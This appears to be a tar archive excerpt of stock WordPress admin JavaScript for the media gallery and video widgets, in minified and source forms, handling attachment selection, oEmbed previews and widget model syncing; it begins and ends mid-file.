t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy),i.$el.find(":focusable:first").focus()},handleAttachmentDestroy:function(e){this.model.set({ids:_.difference(this.model.get("ids"),[e.id])})}});i.controlConstructors.media_gallery=t,i.modelConstructors.media_gallery=e}(wp.mediaWidgets);                                                                                                                                                                                                                                                                                                                                          media-video-widget.min.js                                                                           0000644                 00000005216 15265660322 0011343 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
!function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets);                                                                                                                                                                                                                                                                                                                                                                                  media-gallery-widget.js                                                                             0000644                 00000024162 15265660322 0011113 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/media-gallery-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;

	/**
	 * Custom gallery details frame.
	 *
	 * @since 4.9.0
	 * @class    wp.mediaWidgets~GalleryDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.Post
	 */
	GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.Library({
					id:         'gallery',
					title:      wp.media.view.l10n.createGalleryTitle,
					priority:   40,
					toolbar:    'main-gallery',
					filterable: 'uploaded',
					multiple:   'add',
					editable:   true,

					library:  wp.media.query( _.defaults({
						type: 'image'
					}, this.options.library ) )
				}),

				// Gallery states.
				new wp.media.controller.GalleryEdit({
					library: this.options.selection,
					editing: this.options.editing,
					menu:    'gallery'
				}),

				new wp.media.controller.GalleryAdd()
			]);
		}
	} );

	/**
	 * Gallery widget model.
	 *
	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_gallery
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );

	GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{

		/**
		 * View events.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-gallery-preview': 'editMedia'
		} ),

		/**
		 * Gallery widget control.
		 *
		 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
		 *
		 * @constructs wp.mediaWidgets.controlConstructors.media_gallery
		 * @augments   wp.mediaWidgets.MediaWidgetControl
		 *
		 * @since 4.9.0
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			component.MediaWidgetControl.prototype.initialize.call( control, options );

			_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
			control.selectedAttachments = new wp.media.model.Attachments();
			control.model.on( 'change:ids', control.updateSelectedAttachments );
			control.selectedAttachments.on( 'change', control.renderPreview );
			control.selectedAttachments.on( 'reset', control.renderPreview );
			control.updateSelectedAttachments();

			/*
			 * Refresh a Gallery widget partial when the user modifies one of the selected attachments.
			 * This ensures that when an attachment's caption is updated in the media modal the Gallery
			 * widget in the preview will then be refreshed to show the change. Normally doing this
			 * would not be necessary because all of the state should be contained inside the changeset,
			 * as everything done in the Customizer should not make a change to the site unless the
			 * changeset itself is published. Attachments are a current exception to this rule.
			 * For a proposal to include attachments in the customized state, see #37887.
			 */
			if ( wp.customize && wp.customize.previewer ) {
				control.selectedAttachments.on( 'change', function() {
					wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
				} );
			}
		},

		/**
		 * Update the selected attachments if necessary.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateSelectedAttachments: function updateSelectedAttachments() {
			var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;

			newIds = control.model.get( 'ids' );
			oldIds = _.pluck( control.selectedAttachments.models, 'id' );

			removedIds = _.difference( oldIds, newIds );
			_.each( removedIds, function( removedId ) {
				control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
			});

			addedIds = _.difference( newIds, oldIds );
			if ( addedIds.length ) {
				addedQuery = wp.media.query({
					order: 'ASC',
					orderby: 'post__in',
					perPage: -1,
					post__in: newIds,
					query: true,
					type: 'image'
				});
				addedQuery.more().done( function() {
					control.selectedAttachments.reset( addedQuery.models );
				});
			}
		},

		/**
		 * Render preview.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, data;

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );

			data = control.previewTemplateProps.toJSON();
			data.attachments = {};
			control.selectedAttachments.each( function( attachment ) {
				data.attachments[ attachment.id ] = attachment.toJSON();
			} );

			previewContainer.html( previewTemplate( data ) );
		},

		/**
		 * Determine whether there are selected attachments.
		 *
		 * @since 4.9.0
		 * @return {boolean} Selected.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return control.model.get( 'ids' ).length > 0;
		},

		/**
		 * Open the media select frame to edit images.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;

			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			selection.gallery = new Backbone.Model( mediaFrameProps );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'manage',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				editing:   true,
				multiple:  true,
				state: 'gallery-edit'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update models in the widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;
			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'select',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: 'gallery'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( ':focusable:first' ).focus();
		},

		/**
		 * Clear the selected attachment when it is deleted in the media select frame.
		 *
		 * @since 4.9.0
		 * @param {wp.media.models.Attachment} attachment - Attachment.
		 * @return {void}
		 */
		handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
			var control = this;
			control.model.set( {
				ids: _.difference(
					control.model.get( 'ids' ),
					[ attachment.id ]
				)
			} );
		}
	} );

	// Exports.
	component.controlConstructors.media_gallery = GalleryWidgetControl;
	component.modelConstructors.media_gallery = GalleryWidgetModel;

})( wp.mediaWidgets );
                                                                                                                                                                                                                                                                                                                                                                                                              media-widgets.min.js                                                                                0000644                 00000033641 15265660322 0010425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery);                                                                                               media-video-widget.js                                                                               0000644                 00000015554 15265660322 0010567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/media-video-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;

	/**
	 * Custom video details frame that removes the replace-video state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.VideoDetails
	 *
	 * @private
	 */
	VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.VideoDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'video',
					id: 'add-video-source',
					title: wp.media.view.l10n.videoAddSourceTitle,
					toolbar: 'add-video-source',
					media: this.media,
					menu: false
				}),

				new wp.media.controller.MediaLibrary({
					type: 'text',
					id: 'add-track',
					title: wp.media.view.l10n.videoAddTrackTitle,
					toolbar: 'add-track',
					media: this.media,
					menu: 'video-details'
				})
			]);
		}
	});

	/**
	 * Video widget model.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	VideoWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Video widget control.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Cache of oembed responses.
		 *
		 * @type {Object}
		 */
		oembedResponses: {},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Fetches embed data for external videos.
		 *
		 * @return {void}
		 */
		fetchEmbed: function fetchEmbed() {
			var control = this, url;
			url = control.model.get( 'url' );

			// If we already have a local cache of the embed response, return.
			if ( control.oembedResponses[ url ] ) {
				return;
			}

			// If there is an in-flight embed request, abort it.
			if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
				control.fetchEmbedDfd.abort();
			}

			control.fetchEmbedDfd = wp.apiRequest({
				url: wp.media.view.settings.oEmbedProxyUrl,
				data: {
					url: control.model.get( 'url' ),
					maxwidth: control.model.get( 'width' ),
					maxheight: control.model.get( 'height' ),
					discover: false
				},
				type: 'GET',
				dataType: 'json',
				context: control
			});

			control.fetchEmbedDfd.done( function( response ) {
				control.oembedResponses[ url ] = response;
				control.renderPreview();
			});

			control.fetchEmbedDfd.fail( function() {
				control.oembedResponses[ url ] = null;
			});
		},

		/**
		 * Whether a url is a supported external host.
		 *
		 * @deprecated since 4.9.
		 *
		 * @return {boolean} Whether url is a supported video host.
		 */
		isHostedVideo: function isHostedVideo() {
			return true;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
